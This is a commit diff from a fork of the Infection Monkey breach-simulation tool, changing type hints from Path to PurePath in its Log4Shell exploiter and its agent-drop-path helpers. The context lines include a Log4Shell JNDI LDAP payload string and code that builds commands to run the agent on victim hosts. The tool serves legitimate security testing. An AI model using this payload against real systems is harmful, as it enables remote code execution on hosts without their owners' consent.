forked from p15670423/monkey
Agent: Change to more specific typehint in helpers.py
This commit is contained in:
parent
1436be6428
commit
49d3433ade
|
@ -1,6 +1,6 @@
|
|||
import logging
|
||||
import time
|
||||
from pathlib import Path
|
||||
from pathlib import PurePath
|
||||
|
||||
from common.common_consts.timeouts import LONG_REQUEST_TIMEOUT, MEDIUM_REQUEST_TIMEOUT
|
||||
from infection_monkey.exploit.log4shell_utils import (
|
||||
|
@ -113,7 +113,7 @@ class Log4ShellExploiter(WebRCE):
|
|||
interface_ip = get_interface_to_target(self.host.ip_addr)
|
||||
return f"${{jndi:ldap://{interface_ip}:{self._ldap_port}/dn=Exploit}}"
|
||||
|
||||
def _build_command(self, path: Path, http_path) -> str:
|
||||
def _build_command(self, path: PurePath, http_path) -> str:
|
||||
# Build command to execute
|
||||
monkey_cmd = build_monkey_commandline(self.host, self.current_depth - 1, location=path)
|
||||
if "linux" in self.host.os["type"]:
|
||||
|
|
|
@ -1,7 +1,7 @@
|
|||
import logging
|
||||
import random
|
||||
import string
|
||||
from pathlib import Path, PurePosixPath, PureWindowsPath
|
||||
from pathlib import Path, PurePosixPath, PureWindowsPath, PurePath
|
||||
from typing import Any, Mapping
|
||||
|
||||
from infection_monkey.model import VictimHost
|
||||
|
@ -18,7 +18,7 @@ def get_random_file_suffix() -> str:
|
|||
return random_string
|
||||
|
||||
|
||||
def get_agent_dest_path(host: VictimHost, options: Mapping[str, Any]) -> Path:
|
||||
def get_agent_dest_path(host: VictimHost, options: Mapping[str, Any]) -> PurePath:
|
||||
if host.os["type"] == "windows":
|
||||
path = PureWindowsPath(options["dropper_target_path_win_64"])
|
||||
else:
|
||||
|
@ -29,7 +29,7 @@ def get_agent_dest_path(host: VictimHost, options: Mapping[str, Any]) -> Path:
|
|||
|
||||
# Turns C:\\monkey.exe into C:\\monkey-<random_string>.exe
|
||||
# Useful to avoid duplicate file paths
|
||||
def _add_random_suffix(path: Path) -> Path:
|
||||
def _add_random_suffix(path: PurePath) -> PurePath:
|
||||
stem = path.name.split(".")[0]
|
||||
stem = f"{stem}-{get_random_file_suffix()}"
|
||||
rand_filename = "".join([stem, *path.suffixes])
|
||||
|
|
Loading…
Reference in New Issue